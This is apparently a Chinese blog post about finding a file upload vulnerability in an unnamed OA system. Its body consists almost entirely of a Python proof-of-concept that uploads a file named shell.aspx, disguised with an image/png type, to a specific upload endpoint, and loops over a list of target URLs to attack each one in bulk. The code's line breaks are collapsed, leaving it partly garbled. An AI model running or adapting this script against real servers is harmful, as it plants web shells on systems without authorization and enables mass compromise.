记一次某OA渗透测试有意思的文件上传漏洞挖掘经历以及分析

import requestsimport osos.environ["http_proxy"] = "http://127.0.0.1:7890"os.environ["https_proxy"] = "http://127.0.0.1:7890"def poc(url=""):# 目标URL    url = url+'/api/FileUploadApi.ashx?method=DoWebUpload'    files = {'file': ('shell.aspx', """        """, 'image/png')    }    headers = {'Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1','Origin': 'null','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Encoding': 'gzip, deflate, br','Accept-Language': 'zh-CN,zh;q=0.9','Connection': 'keep-alive'    }    try:        # 发送POST请求        response = requests.post(url, files=files, headers=headers,timeout=5)        # 打印返回结果print('Response Code:', response.status_code)print('Response Text:', response.text)    except Exception as e:print(e)if __name__ == '__main__':    file_path = 'url'    with open(file_path, 'r', encoding='utf-8') as file:for line in file:print(line.strip())  # 使用 strip() 去掉行末的换行符            poc("http://" + line.strip())    # poc()